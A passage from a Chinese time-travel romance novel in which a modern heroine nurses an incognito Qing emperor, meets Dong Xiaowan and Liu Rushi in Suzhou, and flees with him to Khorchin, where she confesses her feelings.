到底是一个什么样的家庭才会生出他这样隐忍的性格,而他的叔父为什么要不顾血脉亲情派人来刺杀他呢,难道仅仅是因为钱? 太阳缓缓从东方升起的时候,安齐修的烧终于退了。 董浣浣也终于把提着的心放了下来。 安齐修刚醒,就发现坐在旁边的董浣浣一边给他擦手掌,一边在偷偷的掉眼泪。 “怎么哭了,谁欺负你了。”,安齐修操着嘶哑的声音柔声问她。 董浣浣看到他醒来,忍不住擦了擦自己的眼睛,害怕是幻觉。 只见他正用着一种无限宠溺的眼神望着她,唇角还勾有一丝丝的笑。 在确定不是幻觉之后董浣浣倾身抱住他,带着哭腔的控诉道:“你终于醒来了,吓死我了。” “别哭,别哭,你看我这不是好好的嘛。”,安齐修双手回抱住她,然后用手掌轻轻的抚摸着她的头部,小声的安抚道。 安齐修和煦的嗓音从头顶传来,语气温柔的令人安心。 听到他这样说,董浣浣这些天积压下来的委屈和不安终于找到了发泄的出口,轻轻的拍打着安齐修旁边的床面,带着哭腔道:“你骗人,你不好。” 安齐修看到她这个样子急忙安慰:“别哭,别哭,我和你保证,我很快就会好的。” 董浣浣两只手撑着两旁的床面起身,泪眼婆娑的看他:“你说真的?” 安齐修被她的样子搞得有些心动又有些心疼,语气又不自觉的软了几分,轻哄道:“真的,我发誓。” 董浣浣满意了,轻轻的点头道:“那就好。” 安齐修笑:“所以,你可以从我身上起来了吗,我想坐起来喝杯水。” 董浣浣一听,赶忙转身离开安齐修的身体上方,迟来的脸红也如期而至。 她刚刚太激动了,才会直接扑到安齐修的胸膛,此时回想起来恨不得把刚刚的自己打死。 待在一边的安齐修把她全部的脸部变化都看在眼里,好整以暇的逗她道:“可不可以麻烦一下我家浣儿小姐,把我扶起来,我想要喝水。” 如果不是因为他生病,在这么尴尬的情况下听到这话,这时候董浣浣铁定是要摔门出去的。 不过现在碍于他生病了,董浣浣害怕起身这项运动会让他的伤口裂开,只能顶着通红的小脸,伸出双手小心翼翼的去扶他起身。 其实安齐修醒来的时候已经感觉好多了,伤口并没有他想象的伤的那么重,最起码起床这件事还是做得到的。只不过,他现在很享受被她照顾的感觉,并不想自己起来。 把安齐修扶起来后,董浣浣把枕头在他的后背竖起来,让他靠一下,然后去给他倒水。 接过董浣浣递过来的水,安齐修小口小口的抿着,余光观察着董浣浣全神贯注看着他喝水的样子,安齐修的唇角不自觉的露出了一抹微笑:这水真甜。 又过了两天在董浣浣的悉心照料下,安齐修终于可以下床了。 董浣浣心里的那块大石头也算是彻底放下来了。 22. 秦淮八艳 今日,恰逢阴天,和风习习,比平日里要凉爽许多。 董浣浣想着这些天安齐修整天呆在屋子里肯定是憋坏了,再者一直待在屋子里也不利于他的恢复,所以一大早她就跑到安齐修的房间里劝他出来走走。 本来以为依照安齐修谨慎的性子经过这一场刺杀之后,估计会费一番口舌,他才会同意出来走走,没想到她刚一说,安齐修就答应了。 董浣浣扶着安齐修沿着冒家旁边的一条小河堤散步。 心里默默感叹,安齐修的恢复能力简直是无人能及,在阎王殿里捡回的一条命,两周后居然可以奇迹般的下床了。 走了大概一个时辰之后,董浣浣额间出了些细汗。不由自主的往旁边的安齐修额间上看,发现他并没有一点热的迹象,只是脸色苍白如纸,一副随时会晕倒的样子,董浣浣的胸口莫名的有一丝阵痛。 想起那天那支飞镖插在他胸口那里,安齐修鲜血直流的样子,她就后怕。 董浣浣一边扶着安齐修,一边小心翼翼的抬头问到:“你感觉怎么样啊,胸口还疼吗,我们要不要找个地方休息一下?” 安齐修在她的搀扶下,一步一步的慢慢向前走,听到她这话,神色淡淡,语气却暖意洋洋的道:“已经无碍了,你不必太过担心。” 董浣浣腹诽:见过他那个样子,怎么可能不担心呢。 董浣浣:“你要是撑不住了,一定要告诉我,千万别硬撑着,我们可以休息的。” 安齐修点头,微笑着应声:“我要是不舒服,一定会告诉你,绝对不会硬撑的,这样你安心了吧。” 董浣浣点头:“那就好。” 又走了一会,董浣浣提议:“我们要不要试着联系一下卫苑啊,这么久了也不知道他们怎么样了,我有些担心紫鸢她们,我们要不要回客栈看看。” 安齐修停住脚步,看向她,解释道:“放心吧,前两天卫苑已经飞鸽传书给我了,大家现在都很安全,只因为我现在伤势不宜移动,又害怕人多会暴露目标,故而未让他们现身与我们汇合。” 董浣浣听到他这话,心里松了一口气。 扶着他接着往桥的方向走。 到了桥头,董浣浣看安齐修已经走了这么久了,建议他坐下来先休息一会。 两人捡了桥边一张干净的石椅子坐下。 椅子被旁边的柳树的阴影所覆盖,坐上去有些凉凉的,感觉很舒服。 董浣浣随便捡了个话题开头:“今天的天气舒爽,很适合出来散步。” 安齐修点头。 引开话头,董浣浣这才开始进入正题:“你叔父既然已经遣人来杀你了,那你以后回京的路是不是每天都要像那天一样,危机重重的?” 安齐修转头看她,不答反问:“跟我在一起,你害怕吗?” “咳,咳!” 听到安齐修的话董浣浣轻咳了两声,在心里默默吐槽道:我在问你问题呢,能不能好好回答问题?还有你知不知道你这话有歧义啊,还是你们古人说话都是这么直接的吗? 安齐修等她轻咳完,神色淡然的,又重复了一遍:“你害怕吗?” 董浣浣心想不害怕那是肯定不可能的,她当时捂住他的伤口的时候,以为他就快要死了,眼泪哗啦啦的,也不敢大声的求救,半条命都吓没了。 董浣浣很真诚的回答:“我害怕,但是我不能丢下你不管。” 说完这句话,董浣浣觉得此刻的自己身高有两米八。 听她这样说,安齐修勾起唇角浅笑道:“那就好。” 董浣浣被他的态度噎住了,电视剧里面可不是这么演的,男主角遇到这种危机时刻难道不是会一狠心一跺脚的把女主角推得远远的吗,即使是会心痛,也要保证她的平安,怎么到她这里男主角的态度居然是这样的,一副要死一起死的架势。 虽然安齐修如果真的撵她,她也不会走,但是她真的想得到一次电视剧里女主角的待遇嘛,嘴上说说的也行啊。 果然电视剧里都是骗人的。 董浣浣搓了搓手,小心的提出异议:“一般普通人遇到这种情况难道不是劝身边的人距离自己越远越好,以确保平安吗?” 安齐修望向她,语气清淡中带了点疑惑:“为什么要推开,相爱的人正确的路难道不是一起面对吗?而且你我注定当不了普通人。” 这回董浣浣是彻底被他的话噎住了。 大哥,咱们自恋也要有个度啊。 什么叫做相爱的人啊,她什么时候承认过他们是相爱的人了? 还有她现在就是个普通人,大清第一女商人什么的,等她成功了再吹也不迟。 董浣浣扶着安齐修从河堤边回来的时候,就发现冒家的家门口,新停了两辆马车。 一个美女从马车上走了下来。 在此刻董浣浣眼中,“美女”这个词绝对不是现代对所有女性同胞的尊称,它就是最单纯最字面的意思,或许她应该给这个词语加一个量词“大”。 对,她远远的看到从车上走出来了一个大美女,和冒家夫人容貌不相上下的大美女。 董浣浣心想真是印证了那句古话啊:果然美女只跟美女玩啊。 她来古代这么久,能让她见到了之后眼睛都直了的美女,除了冒家夫人也就是这个美女了。 接着下来的是一个中年男人,凭借她的嗅觉敏感性,一看就知道此人是做官的。 接着便是另一个车上下来的一位长相普通,给人的感觉是易亲近的温婉妇人。 三人下完车,一番客套之后,便一同走进了院子里。 她扶着安齐修等在一边,看到他们都进去之后,才走进了冒家。 午饭的时候,冒夫人遣人来请,说是房子的主人家回来了,让董浣浣和安齐修去见见。 董浣浣之前听冒夫人说过,她家相公病重,他们是寄住在朋友家里看大夫的,想来今天看到的那三人便是这家的主人了。 毕竟在人家白吃白喝了这么久,董浣浣去隔壁和安齐修一番商议之后,决定还是去和主人道声谢比较好。 董浣浣和安齐修来到正厅的时候就看到一群人已经在那里等候 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安齐修站起身来,端起酒:“在下安齐修与未婚妻出外游玩,因被强盗洗劫,落难至此,多亏冒夫人和喻大夫相救,才捡回来一条命,听闻这宅子归钱谦益大人所有,叨扰数日,恰逢今天大家都在,特来拜会。这杯酒我干了,日后待我们返回家中定当备上厚礼再次登门致谢。” 安齐修刚说完就听到冒夫人以手帕掩面噗呲一声笑出声来,看其他人看她,轻咳了一声解释道:“这话你们家妹子醒来第一次见到我时就已经说过了,当时她也要备一份大礼。” 安齐修闻言看向旁边的董浣浣,勾了勾唇角,没有说话。 董浣浣被说的有些羞涩的摸了摸鼻头,也没好意思接话。 倒是在一旁一直没有说话的那位柳氏出来笑着接话:“小宛妹妹如今倒是越发的爱打趣人了,你看把这对未婚夫妇说害羞了。” 听到这话董小宛也不恼,笑着道:“我这打趣人的功夫和如是姐姐比,可是差远了。” 众人一听,皆跟着笑出声来。 听到他们这一来一往的打趣,董浣浣的脑子“叮”的一声,她好像发现了不得了的事情。 她的救命恩人好像是那个历史上著名的顺治帝的绯闻对象,秦淮八艳之一的董小宛。 而和她打趣的另一位就是柳如是。 话说秦淮八艳董浣浣知道的也只有陈圆圆,柳如是和董小宛这三个,今天能够有幸见到俩,真是荣幸之至啊。 她是知道董小宛不是顺治的妃子的,但是她不知道董小宛居然是别人家的妾室,而且看到席间董小宛和那个正房太太苏氏关系还很融洽,董浣浣突然对这个叫做冒襄的男人感兴趣起来。如果现在有百度的话,就是用光4G流量,她也要把这个冒襄的底细翻个底朝天,看看这个男人到底是何德何能让这样的两位女子如此的死心塌地,在他重病的时刻都能做到不离不弃。 此时待在首座,一直没说话的钱谦益看着安齐修突然开口道:“年轻人,有没有人说过你和一个人长得特别像?”,声音浑厚威严。 众人闻言转头看向安齐修。 23. 身份“暴露” 被众人围观的安齐修没有一丝慌乱,镇定自若的看向钱谦益,语气平缓镇定:“不知道钱老爷看我肖似何人?” 钱谦益:“有那么一个人,我在朝为官时曾经有幸见过几面,安公子与他眉眼间很是相似。”,解释完安齐修的问话之后,他又补充道:“恕老夫冒昧,请问一下安公子今年贵庚?” 听到钱谦益的话,除了董浣浣外,其他人都明白他想说的是谁了。 钱谦益辞官之前做过礼部侍郎,能够让他用“有幸”这个词来形容的,全天下的和安齐修年纪差不多的年轻男子,估计也只有那一位了。 在座的,除了董浣浣,都是他的至亲好友,自然都知道这其中的深意,遂都用着一种异样的眼神看向安齐修。 坐在安齐修旁边的董浣浣不明白怎么一下子气氛变得这么奇怪了呢,所有人看向安齐修的目光都变得很复杂。她一时间没有弄明白到底是出了什么事情,让大家这么紧张。心里又忍不住的为安齐修担心,两只手不自觉的抓住了裙摆,手掌攥成了拳头状,大气都不敢出一下。 在众人复杂的目光中,安齐修神色淡然,不卑不亢的回答道:“晚辈今年十二岁,之前一直随母亲在家中学习经商之道,很确信之前从未与钱老爷见过面。” 钱谦益面露疑惑,口气充满质疑:“你家是经商的?” 安齐修点头,目光从众人身上扫过,神色淡然道:“对,各位如果以后进京,可以到我们安泰酒楼来找我,我来招待大家。” 京城里的安泰酒楼钱谦益还是略有耳闻的,人有相似也不是一件稀奇的事情,更何况前些年他见到几次那人,虽然年龄小,却浑身透着王者之气,而眼前的这位安公子浑身上下,皆透着谦逊之感,于是他顺着安齐修的话接着往下问:“你就是安泰酒楼,安家的公子啊?” 安齐修颔首:“目前酒楼是由家母在经营,晚辈还在学习阶段,并没有接管安家的产业。” 钱谦益一副恍然大悟状:“这样啊,真是年少有为,老夫在这里敬安公子一杯,祝愿安公子能够顺利继承家业,把安泰酒楼经营的红红火火。” 其他人亦顺势举起杯来,祝贺安齐修。 刚才还紧张的气氛,瞬间又变的和乐融融起来。 董浣浣紧绷的弦终于放了下来,随着众人一起举杯。 把杯中的烈酒一饮而尽,辣的她暗暗吐舌。 之后待钱谦益动了筷子先吃了菜之后,大家才各自动筷吃菜,再一次愉快的交谈起来。 趁着大家不注意,安齐修神情自若往董浣浣的碟子里给她夹了两棒子她爱吃的菜。 原本还在低头吃菜的董浣浣,抬头看了一眼安齐修,得到的是他的一个似有若无的微笑。 本来这只是他们两个人私下的暖心小画面,没想到却被坐在对面的董小宛看到,遂调侃道:“这未过门就这么细心体贴,要是过来了门可不是要给宠上天上去喽,以后指定能羡煞半个京城的姑娘。” 董浣浣被董小宛这么一说,小脸登时便染上一片绯红,刚才安齐修已经说了她是他未过门的媳妇,保险起见,她现在又不能拆穿他的话,遂有些不好意思娇嗔道:“董姐姐这么说,真是取笑我了。” 话音刚落,没想到董小宛还没接话,柳如是便在一旁接着打趣董浣浣道:“我们不是取笑你,我们是羡慕你啊。” 董浣浣实在是没有想到,她会有一天被这样两位艳冠群芳的主这样轮流打趣。 印象里的纸片人就这样的生动的站在她面前,有血有肉起来。 只不过和这样两个以前混迹在各色人等中间讨生活的人对谈,想在嘴上和她们争辩一二她还是太嫩了,最好的办法就是由着她们去打趣了,听听就好了。 于是在她们打趣声中,董浣浣就真的左耳进右耳出,然后耳朵越来越红,默默低着头,吃菜了。 倒是坐在她身边安齐修端起酒杯,站起身来倾身向董小宛和柳如是道:“她脸皮儿薄,还望两位姐姐高抬贵手,饶了我们吧。” 众人听到安齐修这话,先是一愣,接着便都笑了。 董浣浣笑道:“好的,好的,既然安公子都这样讨饶了,我们就放过你们了。” 、、、、、、 一顿饭就这样在欢声笑语中结束了。 吃过饭之后,两人回到董浣浣的房中。 董浣浣走在前面,安齐修走在后面,跨进门槛的同时顺便把房门关上了。 看到关上的房门,董浣浣这才舒了一口气,眼睛看了一下旁边的凳子对安齐修说道:“你坐啊。”,然后伸手去拿水壶和杯子倒水,“刚才吃饭的时候真是把我吓死了,也不知道那个钱老爷把你错认成谁了。” 安齐修依言在她旁边的位子坐下,接过董浣浣递过来的水杯,喝了口水才道:“你收拾一下,下午的时候,卫苑他们会来接我们。” 董浣浣不解:“你上午不是还说你的身体目前不宜移动吗,怎么这么快就改变主意了?” 安齐修眼神落在了她困惑的脸上,抬起手,食指弯曲向她勾了勾手指。 董浣浣看到他的动作乖巧的倾身凑向前去,把耳朵递给他,安齐修笑了笑,凑到她耳边小声的解释道:“我们刚才看到的那位钱老爷,他是我叔父那边的人,我小的时候见过他。” “啊?!”,董浣浣一听吓得猛一抬头,差点撞到安齐修的脸。 董浣浣手忙脚乱的想要去给揉,又不知道如何下手,声音颤抖而急切的道:“抱歉,抱歉。” 安齐修拉住她张牙舞爪的手,拍了拍她的手背,安抚道:“别着急,别着急,我没事。” 董浣浣的情绪并没有因此被安抚到,此时她所有的注意力都在刚刚安齐修告诉她的那个消息上:“你说钱老爷是你叔父那边的人,那 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他曾经从很多人的口中听过,说他以后会是个好皇帝,或为名,或为利,又或者只是单纯的阿谀奉承,他从来都不信,但是那天他站在门口听到她和朱耷说她相信以后他会是个好皇帝的时候,他突然就相信了。 如果说树下的第一眼是她的笑颜让他一见倾心,那么日后相处的点点滴滴便让这份倾心变成了非她不可。 把奴才们当做家人对待,会担心身边所有人的安危,这世间像她一样的赤诚之人已经所剩不多了,既然让他遇见了,他就不会放手了,那条遥遥的帝王路他势必要与她同行。 安齐修拉着她的手,迫使她站在原地,然后两手附在她的肩上轻轻的压了一下让她坐下来:“你先坐下来听我说。” 听到安齐修这么说董浣浣终于安静了下来,两眼直勾勾的看着他,等着他讲话。 安齐修端了桌子上的茶喝了一口才道:“安泰酒楼是我母亲的私产,叔父并不知情,所以我刚才才会只提出安泰酒楼,目的是要迷惑他。更何况他见到我的时候,我还只是个孩童,这些年我变化很大,所以他才会只说眉宇之间有些相似。如果你现在着急要走的话,势必会再次引起他的怀疑。” 董浣浣一听这话,也稍稍放下心来:“既然这样,那我们如何通知卫苑来接我们呢,你现在如果是要飞鸽传书出去的话,应该也会引起他们的怀疑的。” 安齐修:“这事你就别管了,我来安排,只是等到卫苑来的时候你别在众人面前露出马脚就好。过一会估计冒夫人会来见你,你和她聊天的时候要谨慎一些,千万别说漏了嘴。” 董浣浣郑重的点头说:“明白”,这是安齐修生死攸关的事情,无论如何她都要给他保守好秘密。 安齐修又交代了她一些和冒夫人聊天时要注意的事项,才放心的打开房门出去。 果然不多时,董小宛便翩翩而来。 24. 离开苏州 董浣浣笑盈盈的把董小宛引进房里。 一边倒茶,一边招呼董小宛:“姐姐,你坐啊。” 董小宛接过董浣浣递过来的茶杯,放在了桌角,然后拉住董浣浣的手笑着说:“别忙乎了,我就是想和你聊聊天,快坐,快坐。” 董浣浣依言坐在她旁边的位置上。 董小宛微笑着开口道:“我今天才知道你夫家是在京城开酒楼的,而且在京城那么有名,以后我们要是进京还需要你们多多关照呢。” 董浣浣有些心虚的说道:“其实,我们是私奔出来的,我还不知道能不能嫁到他们家呢。不过你们要是去京城安泰酒楼找他的话,他定会多加关照的。” 说完这句话之后,董浣浣低下了头,她不敢去看董小宛的眼睛,这个善良的女人在不知道他们是何身份,为什么会被人追杀的情况下好心的救了他们,而如今为了保全安齐修的性命,她又不得不去撒谎骗她,董浣浣心里很是愧疚但又无可奈何。 董小宛一听这话,诧异的重复道:“私奔?” 董浣浣点点头:“我父亲只是一个末流小官,门不当户不对的,她母亲自是不会同意这门亲事的,所以他一气之下就带着我跑出来了。想说一年半载之后、、、、、、” 剩下的话董浣浣没有说出口,不过也足以让董小宛心领神会了。 董小宛:“原来是这样啊,你方便给我详细讲讲吗,我这边也好给你出出主意。” 董浣浣点点头开始给她“从头开始”讲起。 隔壁房间。 卫苑已经在房间里等候多时了,看到安齐修回来,忙站起身相迎。 他走到安齐修面前,弯腰拱手道:“主子。” 安齐修微一颔首,捡了张靠近门边的椅子坐下,才道:“都准备好了?” 卫苑点头,回道:“已经都准备好了,待浣主子那边结束之后,就可以出发了。” 安齐修点一下头,然后伸手拿起一个茶杯准备倒茶,卫苑眼疾手快的拿起茶壶给他斟满,然后把茶壶又放到旁边,自己退到安齐修的后面了。 安齐修喝了一口茶才道:“那就好。” 卫苑看着安齐修正在喝水的背影,面露难色道:“只不过臣有些担心。” 听到他这样说,安齐修也不回头看他直接问:“担心什么?” 卫苑答:“臣是担心浣主子那边、、、、、、” 安齐修勾唇:“这个你大可放心,她一向是古灵精怪的,不会有问题。” 卫苑领会了。 又想到了另一个问题:“钱谦益既然已经怀疑您的身份了,为什么您还要留他,他现在在搞反清复明的活动,臣怕会放虎归山,日后他会对您不利。” 安齐修回过头看向卫苑,声音清冷:“你知道解决问题最愚蠢的方式是什么吗?” 卫苑答道:“恕微臣愚昧”,声音顿了下又道:“不知。” 待卫苑回答完之后,安齐修转过头来看他,盯着他,眼神锐利,道:“解决问题最愚蠢的方式就是杀人,不到万不得已,朕不会出此下策,你明白吗?” 卫苑赶忙弯腰拱手道:“微臣明白。” 安齐修转过身去,继续喝茶。 卫苑就站在后面静静的等着。 安齐修放下茶杯,又吩咐道:“我们走后,多派些人保护一下钱家,冒夫人是我和浣浣的救命恩人,我不希望因为我们给他们惹来杀身之祸。” 卫苑答道:“微臣遵旨。” 下午紫鸢和小柒按照计划如约来到钱家,董浣浣出门去迎接他们。 今天安齐平,卫苑和单良都没有出现,来接他们是刘全。 董浣浣想了一下就明白了,安齐平,单良和卫苑可能都曾与钱谦益打过照面,所以才会安排和他们完全没有打过照面的刘全前来。 刘全先是走到董浣浣的面前弯腰躬身行了个礼,在得到董浣浣的允许又和旁边的董小宛打了个招呼之后才走进院里去找安齐修。 小柒一看到董浣浣眼泪刷的一下就掉下来了,生扑到董浣浣的怀里:“姐姐,姐姐,这些天都吓死我了。” 董浣浣先是摸摸她的头,然后用手帕边给她擦干眼泪边说:“傻孩子,你看我现在不是好好的嘛,别哭,别哭。” 小柒吸吸鼻子,然后小声的答了一声:“嗯。” 站在一边的紫鸢这才走上前来,两手抓起董浣浣的胳膊,把她浑身上下仔细的检查了一遍,才道:“小姐,你可把我给吓死了,你说你要是出了什么意外,我该怎么给老爷交代呢。” 董浣浣冲着紫鸢展开了一朵无比灿烂的笑容:“你放心吧,我福大命大,不会出事的。” 小柒在旁边附和:“对,姐姐福大命大,不会出事的。” 紫鸢一听小柒的话本来已经缓和点的脸色又阴沉了下去:“给你说过多少次了,要叫小姐,你怎么就是改不了呢。” 一瞬间董浣浣心里重逢的喜悦感被冲刷的一干二净,得,这又开始立规矩了。 站在不远处的董小宛看到她们这边的情况,走上前来打听:“浣浣这都是你的丫头呀?” 董浣浣闻言,拉过紫鸢和小柒一一给董小宛介绍。 “这是紫鸢,我从小一起长大的最好的姐妹。这是小柒,我们路过南昌的时候,见到她被人贩子拐卖,就把她赎出来了,她现在叫我姐姐。” 董小宛笑盈盈的说:“原来是这样啊。”,然后顺手拉过紫鸢和小柒的手:“浣浣的伤还没有痊愈,要不你们几个也在这里住几天吧,这里地方大,比住客栈方便多了。” 紫鸢看了一眼董浣浣的表情,然后回话:“谢谢您的好意了,一直叨扰您,我们小姐会过意不去的。前些天阿全已经在城东租了一处院落,如今我们已经收拾整洁了,今天又寻到了小姐和未来姑爷的落脚处正好接她们回家,我们要是也不回去,家里其他人又该着急了。” “还有,这是我们的一点小心意,还望您收下。”,说完从身上掏出了几张银票。 董浣浣在心里默默的给紫鸢竖起了一根大拇指, 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具体的鉴赏过程,董浣浣没能见识到,只不过脑补也能脑补出来,必定是刀光剑影,话里有话的。 一个时辰过后他们如愿的离开了钱家。 坐在马车上的董浣浣迫不及待的问安齐修:“你和钱老爷刚才都聊了些什么,他没有认出你来吧?” 安齐修闻言对她笑笑道:“没什么,就是让我帮他鉴赏了一下他的画。” 至于借着鉴赏画的由头说的事情,还是不要告诉她了,可能会吓着她。 董浣浣怀着不确定的语气小心的问道:“就只是鉴赏了画,没有说其他的吗?” 安齐修点头:“就只是看了画。” 董浣浣缓缓地舒了口气,没出事就好了,既然他们谈话的内容他不想说,那她也就不问了。 董浣浣换了一个话题:“所以我们现在是去哪里啊,城东的房子吗?” 坐在一旁装空气的紫鸢心想:小姐也真是一个实在人,别人说什么她就信什么,他们城东哪里有什么院子。只不过是尽快离开钱府的托词罢了。只是此时和小姐对话的人是皇上,她没办法提醒小姐什么。 安齐修解释道:“为了防止夜长梦多,我们连夜离开苏州,单良和卫苑他们在城外等着我们。” 董浣浣拖长了声音道:“哦,这样啊。” 听到董浣浣的话,安齐修试探性问:“你是不是有些疲累,你要是累的话,我们可以在城中找间客栈先休息一晚,再出发。” 董浣浣忙摆手:“我不累,我一点都不累,我们还是赶紧离开苏州城吧,你叔父的人随时都会出现,在这里太危险了。” 安齐修看到她慌张的模样笑笑:“那可能你要辛苦一点了。” 董浣浣赶忙堆笑:“不辛苦,不辛苦,我们要赶紧离开苏州这个是非之地。”,然后紧接着问:“所以,我们下一站去哪里?” 安齐修看了一下车窗外的景色,眼神犀利而渺远:“我们去科尔沁。” 25. 谈恋爱 经过数日的颠簸,他们终于到达了科尔沁,歇在了科尔沁最大的达尔罕客栈里。 刚踏上蒙古的土地,看到房屋林立的集市的时候,董浣浣是惊奇的,原来古代蒙古也不都住在蒙古包里啊。不过转念一想这都是偏见惹的祸,就像是她在现代也会误会蒙古人是骑马上学一样。 在外面欣赏完客栈的外观之后,董浣浣就没有了任何观赏客栈内部构造的兴致了。 这些天天天心惊胆战的忙着赶路,一路颠簸下来,都没有能够安下心来好好的休息一下,董浣浣感觉自己的骨头都快散架了。好不容易到了科尔沁,也没有发现追兵的踪影,她就彻底的撑不住了,吃完晚饭都没有洗漱就一头栽倒了床上睡着了,再也不嫌弃古代没有空调风扇了。 次日。 六更天。 紫鸢掀开了董浣浣的被子,在她耳边说:“小姐,该起床吃早饭了。” 董浣浣哪里肯,累了这么多天好不容易睡了的安稳觉,这又不是上高中要上早自习,想让她这么早起床简直是没门。 董浣浣连眼睛都没睁开就把紫鸢掀开的被子又裹在了身上,继续睡。 看到她这个样子,紫鸢无奈了,只能由着她,关上门出去了。 又过了两个时辰,董浣浣终于在肚子的召唤下成功的醒了。 迷迷糊糊的坐起身,穿鞋。 坐在桌子跟前的紫鸢和小柒走上前去准备帮她的忙。 正在低头穿鞋的董浣浣视野里突然出现两个黑乎乎的人头,被吓了一跳。赶忙缩回脚发出了一声:“啊,你们怎么会在这里!” 小柒无辜的抬起头,迷茫的看向董浣浣:“小姐,你是怎么了?” 董浣浣还没有回复,紫鸢一只手拉过董浣浣缩回去的脚,边给她穿鞋,边给小柒解释道:“她这是还没睡醒。” 等把董浣浣的两只脚的鞋子都穿好之后,她又给小柒补充道:“她是主子她可以这样,你以后一定不能这样,这样会被老爷夫人撵出家门的。” 小柒点头回复:“知道了,紫鸢姐。” 董浣浣一头黑线,心想:你们给我点面子呗。 被紫鸢和小柒拉着穿戴整齐,梳洗打扮完之后,董浣浣才终于获得了下楼吃饭的权利。 董浣浣迈着已经有些飘忽的步伐,晃晃悠悠的去下楼吃饭。 坐在包间里等包子的时间,董浣浣才想起来问:“安齐修他们不下来吃饭吗?” 紫鸢扶额,内心对着房顶翻了一个好大的白眼,心里想说:主子,你还能在迟钝一点吗,张口道:“安公子他们今天一早有事出门了,他把卫苑留下来了,说是让我们有事可以去找他。” 董浣浣点点头:“哦,哦。” 小二把包子上来了,董浣浣也就没接着往下问了。 其实董浣浣一路上都没有想明白为什么他们明明可以直接回京城,却为何偏偏要绕道来科尔沁,鉴于最近发生这么多事情她又不敢多问。 当她拿起一个包子吃进嘴里被烫着的时候,她突然豁然开朗的想明白了:现在京城是最不安全的地方了,安齐修现在回去无异于自投罗网,他可能是来蒙古暂时避难或者寻求某些人的帮助。 不过到底是避难还是找人帮忙呢? 董浣浣边想,边把包子皮用筷子扒开晾凉。 简单的在脑中给自己分析了一下:避难的可能性不大,除非是他家叔父短期内会遇到不测,不然总不能一直躲着,所以她还是倾向于安齐修是来这里寻求某人帮助的。 得出结论,董浣浣开始努力的吃包子。 中午。 安齐修和安齐平单良他们一起回来了,董浣浣也没问他们去见了什么人,这一路下来他们总是去见各路人等,董浣浣也已经习惯了,只不过这是在被刺杀之后,她心里会特别在意一点而已。 午睡过后,晚饭时间。 董浣浣因为睡过头了,下来的稍晚一些,到了包厢的时候其他人都已经坐好等着了,给她留了安齐修左手边的位子,董浣浣走到位子上给众人打了下招呼,就坐下了。 安齐修看到她坐下后,就吩咐单良唤来小二,说可以上菜了。 单良离开后,安齐修侧过头来靠近董浣浣道:“过一会小二过来,让他给你重新报一下菜名,你看看还有什么是你想吃的,再点点。” 董浣浣摆手:“不用了,不用了,你每次点的都是我喜欢吃的,不用再麻烦小二了。” 安齐修闻言只是笑笑,不再多话。 烤羊腿,拔丝奶豆腐,水煮牛肉,手把肉,莜面,哈达饼,奶茶锅,酱牛肉,等等共二十三道菜,小二一道道的把菜端上来,并一道道给他们介绍着。 看着面前满满当当的一桌子菜,董浣浣终于记起了她离家出走的初衷了,她是来游山玩水的啊。 游山玩水,最重要的就是开心,经过这么长时间的相处,她相信安齐修绝对有能力解决和他叔父之间的问题的,而她只需要开心的跟着他们一起游山玩水就好。 待小二终于把菜上全之后,得到安齐修的允许之后,大家开始动筷吃饭。 饭吃到一半,董浣浣想起来一件事想要宣布,看了一眼其他人都在认真的吃饭,整个包厢里静悄悄的,只有偶尔筷子碰到碟子的声音。 董浣浣清了清嗓子道:“安齐修我们谈恋爱吧?” 这件事情她想了好久了,如果那天掉下山崖他们都死了,自己最后悔的事情是什么,答案是没有好好的和安齐修谈一场恋爱,来科尔沁的这一路她想了好久要不要和安齐修说,今天终于说出来了。 董浣浣说完就有些心虚了,心里暗暗的“谴责”自己:董浣浣啊,董浣浣,你真是色迷心窍了,身为一个女生这么彪悍的表白你都能说出口了。 小心翼翼的去观察其他人的反应,发现其他人的反应和她想象的一点都不一样,没有大吃一惊,也没有惊慌失措,每个人都用着疑惑不解的表情看着她。 董浣浣又羞又恼,我表个白,你们能不能给点面子啊。 脸登时就红了,火辣辣的。 不须时,一个怯生生的声音传来:“姐姐,什么叫谈恋爱?” 是小柒的声音。 董浣浣这才反应过来其他人为什么会这样了,轻轻拍了一下自己的脑门,懊恼了一下,她都忘了古代还没有发明“谈恋爱”这个词,他们不懂的。那就换个词,董浣浣 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得到答复后,董浣浣也重新拿起筷子夹了一片肉片放在了嘴里慢慢的嚼着,但是总感觉气氛有些怪怪的,虽然和她说话之前一样的静悄悄的,但总感觉气氛变得不一样了,但是她又说不出来哪里变得不一样了。 安齐修看她在一旁嚼着肉片愣神,起身给她夹了两块她刚才一直在吃的拔丝奶豆腐放在她的小碟子里。 董浣浣顺着筷子看向他的脸,安齐修笑笑示意她多吃。 晚饭过后,回到房中。 因为最后吃饭的氛围实在是有点不好,董浣浣吃的有点积食,正准备倒杯水压一压,就被紫鸢牵起手拽到床前“教训”。 紫鸢语含不满道:“小姐,你怎么能在大庭广众之下说出那种话的?” 董浣浣不解:“我说什么见不得人的话了吗?” 紫鸢一看她不像是装糊涂的,忙解释:“‘相好’这个词怎么可以在那么多人的面前说出来呢,只有不三不四的男女才会‘相好’,你和安少爷怎么能‘相好’呢。” 董浣浣这才明白为什么刚才那些人是那样的反应了,感情“相好”这个词在古代也是个贬义词啊,于是她“好学宝宝”状的向紫鸢请教道:“那我应该怎么和他表达‘我喜欢他,让他和我好呢’,难道要说:‘我思慕于他,让他也思慕于我吗’,你觉得这两句话哪句话更好一些,或者你帮我想一个更好的。” 紫鸢无奈了,尽了最大的力气压制住了心里的火气:“小姐,你压根就不能和他这样说,女儿家要矜持。” 董浣浣看了一眼紫鸢快要爆发了的表情,小声的应承道:“好,好,好,我知道了,以后我一定矜持。” 反正话都说完了,知不知道都无所谓了,董浣浣想。 听到董浣浣这样说,紫鸢才算安心了一些。 又看了一眼挣开她的手去倒水的董浣浣,紫鸢感觉自己最近越发的不了解他们家小姐了,以前的大家闺秀怎么生过一场病之后就完全像是变了一个人了呢。 26. 约会 古代的天好蓝啊,古代大草原的天更蓝,偶尔有朵白云飘过,像洁白的棉花糖一样,让人忍不住想要摘下来吃一口。 今天是他们“谈恋爱”的第一天,两人很默契的把身边一众人等甩掉了,相携着来到了草原上,享受着属于他们两个人的时光。 董浣浣牵着安齐修的手,躺在草地上,闭着眼睛感受着朝霞和微风的抚摸,和鼻尖传来淡淡的青草和泥土的芬芳,以及从他手掌里传来的温热。 一切是那样的惬意与温馨。 就在董浣浣快要睡着的时候,安齐修的声音从旁边传来,语气低沉而和缓:“接下来我们去做什么?” 